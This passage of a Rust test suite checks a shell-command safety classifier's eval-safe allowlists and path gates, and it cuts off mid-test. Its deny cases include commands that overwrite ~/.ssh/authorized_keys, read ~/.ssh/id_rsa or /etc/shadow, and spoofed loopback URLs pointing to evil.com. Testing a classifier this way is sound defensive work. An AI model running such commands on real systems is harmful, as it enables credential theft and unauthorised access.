researched_version = "v1.0"
[[command.sub]]
name = "init"
bare = false
max_positional = 1
standalone = ["--shims"]
eval_safe = true
eval_safe_flags = ["--shims"]
"#);
let DispatchKind::Branching { subs, .. } = &spec.kind else {
panic!("expected branching kind, got {:?}", spec.kind);
};
let init = subs.iter().find(|s| s.name == "init").expect("init sub");
assert!(init.eval_safe);
assert_eq!(init.eval_safe_flags, vec!["--shims".to_string()]);
}
#[test]
fn walker_descends_custom_subs() {
let spec = load_one(r#"
[[command]]
name = "php"
handler = "php"
researched_version = "v1.0"
[[command.sub]]
name = "demo-init"
bare = true
max_positional = 0
eval_safe = true
"#);
assert!(matches!(spec.kind, DispatchKind::Custom { .. }));
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["php", "demo-init"])));
}
#[test]
fn walker_custom_untagged_sub_denied() {
let spec = load_one(r#"
[[command]]
name = "php"
handler = "php"
researched_version = "v1.0"
[[command.sub]]
name = "demo-init"
bare = true
max_positional = 0
"#);
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["php", "demo-init"])));
}
#[test]
fn walker_branching_and_custom_descent_agree() {
let branching = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "init"
bare = true
max_positional = 0
eval_safe = true
"#);
let custom = load_one(r#"
[[command]]
name = "demo"
handler = "php"
researched_version = "v1.0"
[[command.sub]]
name = "init"
bare = true
max_positional = 0
eval_safe = true
"#);
for tail in [vec!["init"], vec!["init", "x"], vec!["other"], vec![]] {
let mut tokens = vec!["demo"];
tokens.extend(tail.iter().copied());
let parsed = toks(&tokens);
assert_eq!(
super::is_eval_safe_for_spec(&branching, &parsed),
super::is_eval_safe_for_spec(&custom, &parsed),
"descent disagrees for tail {tail:?}",
);
}
}
#[test]
fn walker_empty_tokens_returns_false() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
bare = true
eval_safe = true
"#);
assert!(!super::is_eval_safe_for_spec(&spec, &[]));
}
proptest::proptest! {
#[test]
fn walker_accepts_traversal_to_tagged_leaf(
shell in proptest::string::string_regex("[a-z]{1,8}").expect("regex"),
extra_flags in proptest::collection::vec(proptest::sample::select(vec!["--alpha", "--beta", "--gamma"]), 0..4),
) {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "init"
bare = false
max_positional = 1
standalone = ["--alpha", "--beta", "--gamma"]
eval_safe = true
eval_safe_flags = ["--alpha", "--beta", "--gamma"]
"#);
let mut words = vec!["demo".to_string(), "init".to_string(), shell.clone()];
for f in &extra_flags { words.push((*f).to_string()); }
let tokens: Vec<Token> = words.iter().map(|s| Token::from_test(s.as_str())).collect();
proptest::prop_assert!(
super::is_eval_safe_for_spec(&spec, &tokens),
"walker rejected legal traversal: {words:?}"
);
}
#[test]
fn walker_rejects_any_flag_when_allowlist_empty(
flag in proptest::sample::select(vec!["--anything", "--help", "-v", "-h", "--evil"]),
) {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "init"
bare = true
max_positional = 0
eval_safe = true
"#);
let tokens = toks(&["demo", "init", flag]);
proptest::prop_assert!(
!super::is_eval_safe_for_spec(&spec, &tokens),
"walker accepted flag despite empty allowlist: {flag}"
);
}
}
fn aws_export_credentials_spec() -> CommandSpec {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "export"
bare = true
max_positional = 0
standalone = ["--help"]
valued = ["--format", "--profile"]
eval_safe = true
eval_safe_flags = ["--format", "--profile"]
[command.sub.eval_safe_flag_values]
--format = ["env", "env-no-export", "fish", "powershell", "windows-cmd"]
--profile = []
"#)
}
#[test]
fn flag_value_allowlist_accepts_listed_value_space_form() {
let spec = aws_export_credentials_spec();
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format", "env"])));
}
#[test]
fn flag_value_allowlist_accepts_listed_value_eq_form() {
let spec = aws_export_credentials_spec();
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format=env"])));
}
#[test]
fn flag_value_allowlist_rejects_unlisted_value() {
let spec = aws_export_credentials_spec();
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format", "json"])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format=json"])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format=process"])));
}
#[test]
fn flag_value_allowlist_rejects_missing_value() {
let spec = aws_export_credentials_spec();
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format"])));
}
#[test]
fn flag_value_allowlist_rejects_empty_value() {
let spec = aws_export_credentials_spec();
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format="])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--format", ""])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile="])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile", ""])));
}
#[test]
fn flag_value_allowlist_does_not_affect_other_flags() {
let spec = aws_export_credentials_spec();
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile", "dev"])));
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile=dev"])));
}
#[test]
fn flag_value_allowlist_combines_with_other_flags() {
let spec = aws_export_credentials_spec();
assert!(super::is_eval_safe_for_spec(
&spec,
&toks(&["demo", "export", "--format", "env", "--profile", "dev"]),
));
assert!(!super::is_eval_safe_for_spec(
&spec,
&toks(&["demo", "export", "--profile", "dev", "--format", "json"]),
));
}
#[test]
#[should_panic(expected = "eval_safe_flag_values` but not in `eval_safe_flags")]
fn flag_value_without_flag_in_allowlist_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "export"
bare = true
max_positional = 0
valued = ["--format"]
eval_safe = true
eval_safe_flags = ["--profile"]
[command.sub.eval_safe_flag_values]
--format = ["env"]
"#);
}
#[test]
#[should_panic(expected = "characters outside `[a-zA-Z0-9_./=-]")]
fn flag_value_with_expansion_trigger_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "export"
bare = true
max_positional = 0
standalone = ["--format"]
eval_safe = true
eval_safe_flags = ["--format"]
[command.sub.eval_safe_flag_values]
--format = ["$EVIL"]
"#);
}
proptest::proptest! {
#[test]
fn walker_value_allowlist_is_exhaustive(
value in proptest::string::string_regex("[a-z]{1,8}").expect("regex"),
form in proptest::sample::select(vec!["space", "eq"]),
) {
let allowed_values = ["env", "json", "fish", "windows-cmd"];
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "export"
bare = true
max_positional = 0
standalone = ["--format"]
eval_safe = true
eval_safe_flags = ["--format"]
[command.sub.eval_safe_flag_values]
--format = ["env", "json", "fish", "windows-cmd"]
"#);
let tokens = match form {
"eq" => toks(&["demo", "export", &format!("--format={value}")]),
_ => toks(&["demo", "export", "--format", &value]),
};
let expected = allowed_values.contains(&value.as_str());
let actual = super::is_eval_safe_for_spec(&spec, &tokens);
proptest::prop_assert_eq!(
actual,
expected,
"walker disagreed for value {:?} (form={}): expected {}, got {}",
value, form, expected, actual,
);
}
}
fn fzf_shell_init_spec() -> CommandSpec {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
bare = false
max_positional = 0
standalone = ["--bash", "--zsh", "--fish", "--nushell"]
eval_safe = true
eval_safe_flags = ["--bash", "--zsh", "--fish", "--nushell"]
eval_safe_required_flags = ["--bash", "--zsh", "--fish", "--nushell"]
"#)
}
#[test]
fn required_flags_bare_invocation_denied() {
let spec = fzf_shell_init_spec();
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo"])));
}
#[test]
fn required_flags_one_present_allowed() {
let spec = fzf_shell_init_spec();
for flag in ["--bash", "--zsh", "--fish", "--nushell"] {
assert!(
super::is_eval_safe_for_spec(&spec, &toks(&["demo", flag])),
"{flag} should satisfy required-flag check",
);
}
}
#[test]
fn required_flags_two_present_allowed() {
let spec = fzf_shell_init_spec();
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "--bash", "--zsh"])));
}
#[test]
fn required_flags_unrelated_allowed_flag_denied() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
bare = false
max_positional = 0
standalone = ["--bash", "--zsh", "--verbose"]
eval_safe = true
eval_safe_flags = ["--bash", "--zsh", "--verbose"]
eval_safe_required_flags = ["--bash", "--zsh"]
"#);
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "--bash"])));
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "--bash", "--verbose"])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "--verbose"])));
}
#[test]
fn required_flags_empty_does_not_constrain() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "activate"
bare = true
max_positional = 0
eval_safe = true
"#);
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "activate"])));
}
#[test]
#[should_panic(expected = "eval_safe_required_flags` but not in `eval_safe_flags")]
fn required_flag_not_in_allowlist_panics() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
bare = false
max_positional = 0
standalone = ["--bash"]
eval_safe = true
eval_safe_flags = ["--bash"]
eval_safe_required_flags = ["--bash", "--zsh"]
"#);
}
proptest::proptest! {
#[test]
fn walker_required_flag_invariant(
include_bash in proptest::bool::ANY,
include_zsh in proptest::bool::ANY,
include_fish in proptest::bool::ANY,
include_nushell in proptest::bool::ANY,
) {
let spec = fzf_shell_init_spec();
let mut words = vec!["demo"];
if include_bash { words.push("--bash"); }
if include_zsh { words.push("--zsh"); }
if include_fish { words.push("--fish"); }
if include_nushell { words.push("--nushell"); }
let any_present = include_bash || include_zsh || include_fish || include_nushell;
let tokens = toks(&words);
let actual = super::is_eval_safe_for_spec(&spec, &tokens);
proptest::prop_assert_eq!(
actual,
any_present,
"walker disagreed for {:?}: expected {}, got {}",
words, any_present, actual,
);
}
}
#[test]
#[should_panic(expected = "Every valued flag tagged eval-safe must declare its value posture")]
fn valued_flag_without_value_posture_panics_sub() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "export"
bare = true
max_positional = 0
valued = ["--format"]
eval_safe = true
eval_safe_flags = ["--format"]
"#);
}
#[test]
#[should_panic(expected = "Every valued flag tagged eval-safe must declare its value posture")]
fn valued_flag_without_value_posture_panics_command() {
load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
bare = true
valued = ["--format"]
eval_safe = true
eval_safe_flags = ["--format"]
"#);
}
#[test]
fn valued_flag_explicit_unrestricted_builds() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
[[command.sub]]
name = "export"
bare = true
max_positional = 0
valued = ["--profile"]
eval_safe = true
eval_safe_flags = ["--profile"]
[command.sub.eval_safe_flag_values]
--profile = []
"#);
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile", "dev"])));
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile=staging"])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "export", "--profile"])));
}
#[test]
fn walker_denies_combined_short_cluster() {
let spec = load_one(r#"
[[command]]
name = "demo"
researched_version = "v1.0"
bare = true
standalone = ["-s", "-k", "-sk"]
eval_safe = true
eval_safe_flags = ["-s", "-k"]
"#);
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "-s"])));
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "-k"])));
assert!(super::is_eval_safe_for_spec(&spec, &toks(&["demo", "-s", "-k"])));
assert!(!super::is_eval_safe_for_spec(&spec, &toks(&["demo", "-sk"])));
}
#[test]
fn matrix_unknown_field_rejected() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo"
handler = "php"
researched_version = "v1.0"
[[command.matrix]]
parents = ["a"]
level = "Inert"
eval_safe = true
actions.foo = "p1"
[command.handler_policy.p1]
standalone = ["--x"]
"#);
});
assert!(result.is_err(), "matrix block with eval_safe should panic at parse time");
}
#[test]
fn matrix_action_detailed_unknown_field_rejected() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo"
handler = "php"
researched_version = "v1.0"
[[command.matrix]]
parents = ["a"]
level = "Inert"
actions.foo = { policy = "p1", eval_safe = true }
[command.handler_policy.p1]
standalone = ["--x"]
"#);
});
assert!(result.is_err(), "matrix action with eval_safe should panic at parse time");
}
#[test]
fn every_unambiguous_path_flag_declares_a_role() {
use super::types::{TomlFile, TomlSub};
const PATH_FLAG_NAMES: &[&str] = &[
"--outfile", "--output-file", "--output-dir", "--output-path",
"--dest-dir", "--destination", "--infile", "--input-file",
"--load-privkey", "--load-certificate", "--load-pubkey",
"--load-ca-certificate", "--load-request", "--pskfile",
"--password-file", "--cacert", "--keyout", "--tls-client-cert",
"--key-file", "--cert-file", "--ca-file",
"-outfile", "-output-file", "-output-dir", "-output-path",
"-dest-dir", "-destination", "-infile", "-input-file",
"-pskfile", "-password-file", "-cacert", "-keyout",
"-tls-client-cert", "-key-file", "-cert-file", "-ca-file",
"--outputFile", "--outputDir", "--outFile",
];
fn toml_files(dir: &std::path::Path, out: &mut Vec<std::path::PathBuf>) {
for entry in std::fs::read_dir(dir).unwrap() {
let path = entry.unwrap().path();
if path.is_dir() {
toml_files(&path, out);
} else if path.extension().is_some_and(|e| e == "toml") {
out.push(path);
}
}
}
fn collect_flags<'a>(valued: &'a [String], subs: &'a [TomlSub], out: &mut Vec<&'a str>) {
out.extend(valued.iter().map(String::as_str));
for s in subs {
collect_flags(&s.valued, &s.sub, out);
}
}
let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("commands");
let mut files = Vec::new();
toml_files(&root, &mut files);
let mut failures = Vec::new();
for file in &files {
let src = std::fs::read_to_string(file).unwrap();
let parsed: TomlFile =
toml::from_str(&src).unwrap_or_else(|e| panic!("{}: {e}", file.display()));
for cmd in &parsed.command {
let mut flags = Vec::new();
collect_flags(&cmd.valued, &cmd.sub, &mut flags);
for f in flags {
if !PATH_FLAG_NAMES.contains(&f) {
continue;
}
let covered = cmd.path_gate.as_ref().is_some_and(|pg| pg.declares_flag(f))
|| crate::pathgate::central_role_declares_flag(&cmd.name, f);
if !covered {
failures.push(format!(
" {} — flag `{f}` (in {})",
cmd.name,
file.file_name().unwrap().to_string_lossy()
));
}
}
}
}
assert!(
failures.is_empty(),
"commands with an unambiguous path flag but no declared path-gate role — add \
`[command.path_gate]` with the flag's read/write role (see SAMPLE.toml):\n{}",
failures.join("\n"),
);
}
struct Leaf {
path: Vec<String>,
flags: Vec<String>,
required: Vec<String>,
require_any: Vec<String>,
has_values: bool,
standalone: Vec<String>,
}
fn eval_safe_leaves() -> Vec<Leaf> {
use super::types::{TomlFile, TomlSub};
fn toml_files(dir: &std::path::Path, out: &mut Vec<std::path::PathBuf>) {
for e in std::fs::read_dir(dir).unwrap() {
let p = e.unwrap().path();
if p.is_dir() {
toml_files(&p, out);
} else if p.extension().is_some_and(|x| x == "toml") {
out.push(p);
}
}
}
#[allow(clippy::too_many_arguments)]
fn walk(
path: &mut Vec<String>,
standalone: &[String],
eval_safe: Option<bool>,
flags: &[String],
required: &[String],
require_any: &[String],
has_values: bool,
subs: &[TomlSub],
out: &mut Vec<Leaf>,
) {
if eval_safe == Some(true) {
out.push(Leaf {
path: path.clone(),
flags: flags.to_vec(),
required: required.to_vec(),
require_any: require_any.to_vec(),
has_values,
standalone: standalone.to_vec(),
});
}
for s in subs {
path.push(s.name.clone());
walk(
path,
&s.standalone,
s.eval_safe,
&s.eval_safe_flags,
&s.eval_safe_required_flags,
&s.require_any,
!s.eval_safe_flag_values.is_empty(),
&s.sub,
out,
);
path.pop();
}
}
let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("commands");
let mut files = Vec::new();
toml_files(&root, &mut files);
let mut leaves = Vec::new();
for file in &files {
let src = std::fs::read_to_string(file).unwrap();
let parsed: TomlFile =
toml::from_str(&src).unwrap_or_else(|e| panic!("{}: {e}", file.display()));
for cmd in &parsed.command {
let mut path = vec![cmd.name.clone()];
walk(
&mut path,
&cmd.standalone,
cmd.eval_safe,
&cmd.eval_safe_flags,
&cmd.eval_safe_required_flags,
&cmd.require_any,
!cmd.eval_safe_flag_values.is_empty(),
&cmd.sub,
&mut leaves,
);
}
}
leaves
}
#[test]
fn every_eval_safe_tag_takes_effect_and_stays_tight() {
use crate::is_safe_command;
let leaves = eval_safe_leaves();
assert!(!leaves.is_empty(), "expected the registry to contain eval_safe tags");
const HELP: &[&str] = &["--help", "-h", "--version", "-V"];
let mut failures = Vec::new();
for leaf in &leaves {
let mut tokens = leaf.path.clone();
let mut buildable = true;
if let Some(rf) = leaf.required.first() {
tokens.push(rf.clone());
}
if !leaf.require_any.is_empty() {
match leaf
.require_any
.iter()
.find(|t| leaf.flags.contains(t) || leaf.required.contains(t))
{
Some(ra) if !tokens.contains(ra) => tokens.push(ra.clone()),
Some(_) => {}
None => buildable = false,
}
}
if !buildable {
failures.push(format!(
"dead tag: `{}` requires one of {:?} to be valid, but none is in eval_safe_flags — eval-safety can never take effect",
leaf.path.join(" "),
leaf.require_any,
));
continue;
}
let canonical = tokens.join(" ");
if !leaf.has_values && is_safe_command(&canonical) {
let eval_line = format!("eval \"$({canonical})\"");
if !is_safe_command(&eval_line) {
failures.push(format!(
"tag has no effect: `{eval_line}` denied though `{canonical}` is allowed"
));
}
}
if let Some(poison) = leaf.standalone.iter().find(|f| {
!leaf.flags.contains(f) && !leaf.required.contains(f) && !HELP.contains(&f.as_str())
}) {
let poison_cmd = format!("{canonical} {poison}");
if is_safe_command(&poison_cmd) {
let eval_poison = format!("eval \"$({poison_cmd})\"");
if is_safe_command(&eval_poison) {
failures.push(format!(
"allowlist not tight: `{eval_poison}` allowed but `{poison}` isn't in eval_safe_flags"
));
}
}
}
}
assert!(failures.is_empty(), "eval_safe behavioral guard:\n{}", failures.join("\n"));
}
#[test]
fn subcommand_families_share_core_flags() {
use crate::is_safe_command;
struct Family {
command: &'static str,
subs: &'static [&'static str],
standalone: &'static [&'static str],
valued: &'static [(&'static str, &'static str)],
}
const FAMILIES: &[Family] = &[
Family {
command: "cargo",
subs: &["build", "check", "test", "doc", "clippy", "bench"],
standalone: &[
"--workspace", "--all", "--release", "--offline", "--locked", "--frozen",
"--all-features", "--no-default-features",
],
valued: &[
("--features", "foo"),
("--target", "x86_64-unknown-linux-gnu"),
("--profile", "dev"),
("--manifest-path", "Cargo.toml"),
],
},
Family {
command: "go",
subs: &["build", "test", "vet"],
standalone: &["-v", "-x", "-n"],
valued: &[("-tags", "foo")],
},
Family {
command: "dotnet",
subs: &["build", "test", "publish"],
standalone: &["--no-restore", "--nologo"],
valued: &[("--configuration", "Release"), ("--framework", "net8.0")],
},
Family {
command: "swift",
subs: &["build", "test"],
standalone: &[],
valued: &[("-c", "release"), ("--configuration", "release")],
},
Family {
command: "tofu",
subs: &["validate", "show", "fmt"],
standalone: &["-no-color"],
valued: &[],
},
];
let mut failures = Vec::new();
for fam in FAMILIES {
for sub in fam.subs {
for f in fam.standalone {
let cmd = format!("{} {sub} {f}", fam.command);
if !is_safe_command(&cmd) {
failures.push(cmd);
}
}
for (f, v) in fam.valued {
let cmd = format!("{} {sub} {f} {v}", fam.command);
if !is_safe_command(&cmd) {
failures.push(cmd);
}
}
}
}
assert!(
failures.is_empty(),
"subcommand family flag drift — a sub is missing a flag its siblings share:\n {}",
failures.join("\n "),
);
}
#[test]
fn every_declared_path_flag_actually_gates() {
use super::types::TomlFile;
use crate::pathgate::Role;
fn toml_files(dir: &std::path::Path, out: &mut Vec<std::path::PathBuf>) {
for e in std::fs::read_dir(dir).unwrap() {
let p = e.unwrap().path();
if p.is_dir() {
toml_files(&p, out);
} else if p.extension().is_some_and(|x| x == "toml") {
out.push(p);
}
}
}
let mut gates: Vec<(String, String, Role)> = crate::pathgate::central_flag_gates();
let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("commands");
let mut files = Vec::new();
toml_files(&root, &mut files);
for file in &files {
let src = std::fs::read_to_string(file).unwrap();
let parsed: TomlFile = toml::from_str(&src).unwrap();
for cmd in &parsed.command {
if let Some(pg) = &cmd.path_gate {
for (f, r) in pg.flag_roles() {
gates.push((cmd.name.clone(), f.to_string(), r));
}
}
}
}
let mut failures = Vec::new();
for (cmd, flag, role) in gates {
let hot = match role {
Role::Write => "/etc/sc-probe-target",
Role::Read => "~/.ssh/id_rsa",
Role::Exec => "/tmp/sc-probe/Cargo.toml",
Role::Ignore => continue,
};
let forms = [
vec![cmd.clone(), flag.clone(), hot.to_string()],
vec![cmd.clone(), format!("{flag}={hot}")],
];
for form in forms {
let toks: Vec<_> = form.iter().map(|s| crate::parse::Token::from_test(s)).collect();
if !crate::pathgate::should_deny(&cmd, &toks) {
failures.push(format!(" {cmd} `{flag}` ({role:?}) did NOT deny {hot} — form {form:?}"));
}
}
}
assert!(
failures.is_empty(),
"declared path-flag gates that don't actually fire (shadowed / mis-spelled / wrong):\n{}",
failures.join("\n")
);
}
#[test]
fn ambiguous_output_flags_do_not_write_sensitive_paths() {
use super::types::TomlFile;
const OUTPUT_FLAGS: &[&str] = &[
"-o", "--output", "--out", "--outfile", "--write", "--replace-input", "output",
"--outdir", "--out-dir", "--outDir", "--target-dir", "--site-dir", "--output-dir",
"--output-path", "--destination", "--dest",
];
const SENSITIVE: &str = "~/.ssh/authorized_keys"; let worklist: std::collections::HashSet<(String, String)> =
include_str!("../../tests/fixtures/output_flag_worklist.tsv")
.lines()
.filter(|l| !l.trim().is_empty() && !l.starts_with('#'))
.filter_map(|l| l.split_once('\t').map(|(c, f)| (c.to_string(), f.to_string())))
.collect();
fn toml_files(dir: &std::path::Path, out: &mut Vec<std::path::PathBuf>) {
for e in std::fs::read_dir(dir).unwrap() {
let p = e.unwrap().path();
if p.is_dir() {
toml_files(&p, out);
} else if p.extension().is_some_and(|x| x == "toml") {
out.push(p);
}
}
}
let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("commands");
let mut files = Vec::new();
toml_files(&root, &mut files);
let mut holes = std::collections::HashSet::new();
for file in &files {
let src = std::fs::read_to_string(file).unwrap();
let parsed: TomlFile = toml::from_str(&src).unwrap();
for cmd in &parsed.command {
for flag in &cmd.valued {
if OUTPUT_FLAGS.contains(&flag.as_str())
&& crate::is_safe_command(&format!("{} {flag} {SENSITIVE} in", cmd.name))
{
holes.insert((cmd.name.clone(), flag.clone()));
}
}
}
}
let mut unlisted: Vec<_> = holes.difference(&worklist).collect();
unlisted.sort();
assert!(
unlisted.is_empty(),
"NEW ungated output-flag writes ({}) — GATE (add a `[command.path_gate]` write role) or add \
to tests/fixtures/output_flag_worklist.tsv with a verified format-only reason:\n{}",
unlisted.len(),
unlisted.iter().map(|(c, f)| format!(" {c} `{f}`")).collect::<Vec<_>>().join("\n"),
);
let mut stale: Vec<_> = worklist.difference(&holes).collect();
stale.sort();
assert!(
stale.is_empty(),
"worklist entries no longer auto-approve — they are GATED now; remove them from \
tests/fixtures/output_flag_worklist.tsv ({} stale):\n{}",
stale.len(),
stale.iter().map(|(c, f)| format!(" {c} `{f}`")).collect::<Vec<_>>().join("\n"),
);
}
#[test]
fn positional_last_arg_writers_are_gated_or_acknowledged() {
const SENSITIVE: &str = "sc-probe-in.dat ~/.ssh/authorized_keys";
let acknowledged: std::collections::HashSet<&str> =
include_str!("../../tests/fixtures/positional_writer_worklist.tsv")
.lines()
.map(|l| l.trim())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.filter_map(|l| l.split_whitespace().next())
.collect();
fn writes_output(d: &str) -> bool {
let d = d.to_ascii_lowercase();
let action = ["convert", "render", "encode", "decode", "transcode", "compress",
"writes", "produces", "emits"];
let object = ["output", "writes a", "writes the", "creates a", "produces a",
"to the file", "to a file", "to a new", "you name", "you supply",
"last positional", "named output"];
action.iter().any(|a| d.contains(a)) && object.iter().any(|o| d.contains(o))
}
let mut candidates: Vec<&str> = super::TOML_REGISTRY
.iter()
.filter(|(name, spec)| *name == &spec.name && writes_output(&spec.description))
.map(|(name, _)| name.as_str())
.filter(|name| crate::is_safe_command(&format!("{name} {SENSITIVE}")))
.filter(|name| !crate::pathgate::declares_write_flag(name))
.filter(|name| !acknowledged.contains(name))
.collect();
candidates.sort();
assert!(
candidates.is_empty(),
"commands auto-approving a sensitive LAST-positional write ({}) — GATE the writers \
(`shape = \"last_write\"`) or add the harmless ones (ignores the arg) to \
tests/fixtures/positional_writer_worklist.tsv:\n {}",
candidates.len(),
candidates.join("\n "),
);
}
#[test]
fn positional_and_output_dir_writers_gate_sensitive_paths() {
const S: &str = "~/.ssh/authorized_keys";
let deny = [
format!("pdfunite a.pdf b.pdf {S}"),
format!("ps2pdf in.ps {S}"),
format!("pdf2ps in.pdf {S}"),
format!("pdftops in.pdf {S}"),
format!("pdfcrop in.pdf {S}"),
format!("lame in.wav {S}"),
format!("cjxl in.png {S}"),
format!("djxl in.jxl {S}"),
format!("sphinx-build src {S}"),
format!("sphinx-build -M html src {S}"),
format!("weasyprint in.html {S}"),
format!("tiffcp in.tif {S}"),
format!("mkdocs build -d {S}"),
format!("mkdocs build --site-dir {S}"),
format!("gs -o {S} x.ps"),
format!("dvipdf in.dvi {S}"),
format!("eps2eps in.eps {S}"),
format!("ps2pdfwr in.ps {S}"),
format!("pfbtopfa in.pfb {S}"),
format!("tiff2bw in.tif {S}"),
format!("tiffcrop in.tif {S}"),
format!("pal2rgb in.tif {S}"),
format!("jpgicc in.jpg {S}"),
format!("tificc in.tif {S}"),
format!("heif-thumbnailer in.heic {S}"),
format!("wkhtmltopdf in.html {S}"),
format!("gdbm_dump db.gdbm {S}"),
format!("pkgbuild --root ./r {S}"),
format!("wasm-strip {S}"),
format!("llvm-strip {S}"),
format!("llvm-objcopy in.o {S}"),
format!("install_name_tool -id x {S}"),
format!("indent {S}"),
format!("PlistBuddy {S}"),
format!("nbstripout {S} ok.ipynb"),
format!("afscexpand {S} ./b"),
];
for c in &deny {
assert!(!crate::is_safe_command(c), "must deny a sensitive write: {c}");
}
for c in [
"pdfunite a.pdf b.pdf ./out.pdf",
"sphinx-build src ./_build",
"weasyprint in.html ./out.pdf",
"tiffcp in.tif ./out.tif",
"mkdocs build -d ./site",
"gs -o ./out.pdf x.ps",
"dvipdf in.dvi ./out.pdf",
"tiff2bw in.tif ./out.tif",
"jpgicc in.jpg ./out.jpg",
"wasm-strip ./mod.wasm",
"nbstripout ./a.ipynb ./b.ipynb",
] {
assert!(crate::is_safe_command(c), "benign worktree write must allow: {c}");
}
}
#[test]
fn every_alias_matches_its_canonical_verdict() {
const TAILS: &[&str] = &[
"", "/etc/shadow", "~/.ssh/id_rsa", "--output /etc/x", "-o /etc/evil",
"--outfile /etc/evil in", "./local.txt", "--help", "x > /etc/evil",
];
let mut failures = Vec::new();
for (key, spec) in super::TOML_REGISTRY.iter() {
if key == &spec.name {
continue;
}
for tail in TAILS {
let av = crate::command_verdict(&format!("{key} {tail}"));
let cv = crate::command_verdict(&format!("{} {tail}", spec.name));
if av != cv {
failures.push(format!(" {key} vs {}: `{tail}` -> {av:?} != {cv:?}", spec.name));
}
}
}
assert!(
failures.is_empty(),
"alias/canonical verdict divergence (an alias must classify identically):\n{}",
failures.join("\n")
);
}
#[test]
fn no_new_unresearched_first_arg_family() {
use super::types::DispatchKind;
fn walk(prefix: &str, kind: &DispatchKind, out: &mut Vec<String>) {
let unresearched = |pfx: &str, patterns: &[String], sa: &[String], v: &[String], out: &mut Vec<String>| {
if patterns.iter().any(|p| p.ends_with('*')) && sa.is_empty() && v.is_empty() {
out.push(pfx.to_string());
}
};
match kind {
DispatchKind::FirstArg { patterns, standalone, valued, .. } => {
unresearched(prefix, patterns, standalone, valued, out);
}
DispatchKind::Branching { subs, first_arg, first_arg_standalone, first_arg_valued, .. } => {
unresearched(prefix, first_arg, first_arg_standalone, first_arg_valued, out);
for s in subs {
walk(&format!("{prefix} {}", s.name), &s.kind, out);
}
}
_ => {}
}
}
let mut found = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
walk(name, &spec.kind, &mut found);
}
found.sort();
const GRANDFATHERED: &[&str] = &[
"aws", "az", "gcloud", "kubectl", "networksetup", "npm", "oci", "yarn",
];
let stray: Vec<&String> = found
.iter()
.filter(|f| {
let cmd = f.split_whitespace().next().unwrap_or("");
!GRANDFATHERED.contains(&cmd)
})
.collect();
assert!(
stray.is_empty(),
"new unresearched `first_arg` glob family — declare `first_arg_standalone`/`first_arg_valued` \
for it (a glob without a flag list admits ANY flag, including --endpoint-url): {stray:#?}",
);
const REMAINING: usize = 237;
assert_eq!(
found.len(),
REMAINING,
"unresearched glob-family count changed ({} now, {REMAINING} pinned). Migrating families? \
lower the number. Adding one? justify it in review.",
found.len(),
);
}
#[test]
fn every_loopback_gated_flag_rejects_a_spoofed_host() {
use super::types::DispatchKind;
const CASES: &[(&str, bool)] = &[
("http://localhost:8000", true),
("http://127.0.0.1:8000", true),
("http://[::1]:4566", true),
("http://localhost@evil.com", false),
("http://evil.com\\@localhost", false),
("http://localhost.evil.com", false),
("http://evil.com", false),
("http://2130706433", false),
];
fn walk(prefix: &str, kind: &DispatchKind, out: &mut Vec<(String, String)>) {
let collect = |pfx: &str, pats: &[String], lb: &[String], out: &mut Vec<(String, String)>| {
if lb.is_empty() {
return;
}
